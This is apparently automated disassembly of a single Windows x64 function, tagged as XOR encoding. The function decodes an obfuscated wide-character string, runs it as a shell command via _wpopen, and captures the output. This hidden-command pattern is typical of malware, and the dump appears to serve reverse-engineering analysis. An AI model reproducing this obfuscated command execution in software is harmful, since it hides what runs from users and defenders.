Function at 0x1400c3be0
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x370
movaps xmmword [rax - 0x28], xmm6
movaps xmmword [rax - 0x38], xmm7
mov rax, qword [0x1401f6080]
xor rax, rsp
mov qword [rsp + 0x340], rax
mov rdi, rcx
mov qword [rsp + 0x28], rcx
xor r14d, r14d
mov dword [rsp + 0x24], r14d
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], r14
mov qword [rcx + 0x18], 7
mov word [rcx], r14w
mov dword [rsp + 0x24], 1
mov eax, dword [0x1401ce8c0]
mov dword [rsp + 0x20], eax
lea rdx, [rsp + 0x30]
mov ecx, 2
cmp word [0x1401ce8c2], r14w
je 0x1400c3cd4
mov eax, WSAStartup
mov word [rsp + 0x20], ax
xor word [rsp + 0x22], 0x36
lea rax, [0x1401cee00]
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rdx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rcx, 1
jne 0x1400c3c80
jmp 0x1400c3d32
lea rax, [0x1401cee00]
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rdx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rcx, 1
jne 0x1400c3ce0
movzx ecx, word [rax]
mov word [rdx], cx
mov r8d, r14d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400c3e6d
movdqa xmm5, xmmword [0x1401d7e10]
movdqa xmm4, xmmword [0x1401d8370]
movdqa xmm6, xmmword [0x1401d7ea0]
movdqa xmm7, xmmword [0x1401d7f80]
lea rcx, [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x80
jl 0x1400c3d70
cmp r8d, 0x81
jge 0x1400c3eba
movsxd rax, r8d
lea r9, [rsp + 0x30]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x38
movzx eax, r8w
sub ax, cx
add ax, 0x35
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x81
jl 0x1400c3e80
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__wpopen]
mov rbp, rax
mov r8, rax
mov edx, 0x100
lea rcx, [rsp + 0x140]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgetws]
mov r8, rbp
mov edx, 0x100
lea rcx, [rsp + 0x140]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgetws]
test rax, rax
je 0x1400c40e7
lea rax, [rsp + 0x140]
mov rdx, 0xffffffffffffffff
inc rdx
cmp word [rax + rdx*2], 0
jne 0x1400c3f11
mov rax, qword [rdi + 0x18]
cmp rdx, rax
ja 0x1400c3f52
mov rsi, rdi
cmp rax, 7
jbe 0x1400c3f30
mov rsi, qword [rdi]
mov qword [rdi + 0x10], rdx
lea rbx, [rdx + rdx]
mov r8, rbx
lea rdx, [rsp + 0x140]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memmove
mov word [rbx + rsi], r14w
jmp 0x1400c3f62
lea r9, [rsp + 0x140]
mov rcx, rdi
call fcn.1400c36c0
cmp qword [rdi + 0x18], 7
jbe 0x1400c3f7f
mov rbx, qword [rdi]
mov rcx, qword [rdi + 0x10]
add rcx, rcx
mov r9, rbx
lea rsi, [rcx + rbx]
add rbx, rcx
jmp 0x1400c3f91
mov rax, qword [rdi + 0x10]
add rax, rax
mov r9, rdi
lea rsi, [rax + rdi]
lea rbx, [rdi + rax]
mov r8d, 0xa
mov rdx, rsi
mov rcx, r9
call fcn.140174510
cmp rax, rsi
je 0x1400c3fc9
lea rcx, [rax + 2]
cmp rcx, rsi
je 0x1400c3fc9
movzx edx, word [rcx]
cmp dx, 0xa
je 0x1400c3fc0
mov word [rax], dx
add rax, 2
add rcx, 2
cmp rcx, rsi
jne 0x1400c3fb0
mov rcx, rdi
mov r8, qword [rdi + 0x18]
cmp r8, 7
jbe 0x1400c3fd9
mov rcx, qword [rdi]
mov rdx, rax
sub rdx, rcx
sar rdx, 1
sub rbx, rax
sar rbx, 1
mov rsi, qword [rdi + 0x10]
mov rax, rsi
sub rax, rdx
cmp rax, rbx
cmovb rbx, rax
mov rax, rdi
cmp r8, 7
jbe 0x1400c4005
mov rax, qword [rdi]
lea rcx, [rax + rdx*2]
sub rsi, rbx
mov r8, rsi
sub r8, rdx
lea r8, [r8*2 + 2]
lea rdx, [rcx + rbx*2]
call sub.VCRUNTIME140.dll_memmove
mov qword [rdi + 0x10], rsi
lea rdx, [rsi + rsi]
cmp qword [rdi + 0x18], 7
jbe 0x1400c4041
mov rbx, qword [rdi]
mov r9, rbx
lea rsi, [rdx + rbx]
add rbx, rdx
jmp 0x1400c404c
mov r9, rdi
lea rsi, [rdx + rdi]
lea rbx, [rdi + rdx]
mov r8d, reloc.WS2_32.dll_listen
mov rdx, rsi
mov rcx, r9
call fcn.140174510
cmp rax, rsi
je 0x1400c4089
lea rcx, [rax + 2]
cmp rcx, rsi
je 0x1400c4089
nop dword [rax + rax]
movzx edx, word [rcx]
cmp dx, 0xd
je 0x1400c4080
mov word [rax], dx
add rax, 2
add rcx, 2
cmp rcx, rsi
jne 0x1400c4070
mov rcx, rdi
mov r8, qword [rdi + 0x18]
cmp r8, 7
jbe 0x1400c4099
mov rcx, qword [rdi]
mov rdx, rax
sub rdx, rcx
sar rdx, 1
sub rbx, rax
sar rbx, 1
mov rsi, qword [rdi + 0x10]
mov rax, rsi
sub rax, rdx
cmp rax, rbx
cmovb rbx, rax
mov rax, rdi
cmp r8, 7
jbe 0x1400c40c5
mov rax, qword [rdi]
lea rcx, [rax + rdx*2]
sub rsi, rbx
mov r8, rsi
sub r8, rdx
lea r8, [r8*2 + 2]
lea rdx, [rcx + rbx*2]
call sub.VCRUNTIME140.dll_memmove
mov qword [rdi + 0x10], rsi
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__pclose]
mov rax, rdi
mov rcx, qword [rsp + 0x340]
xor rcx, rsp
call fcn.140175100
lea r11, [rsp + 0x370]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret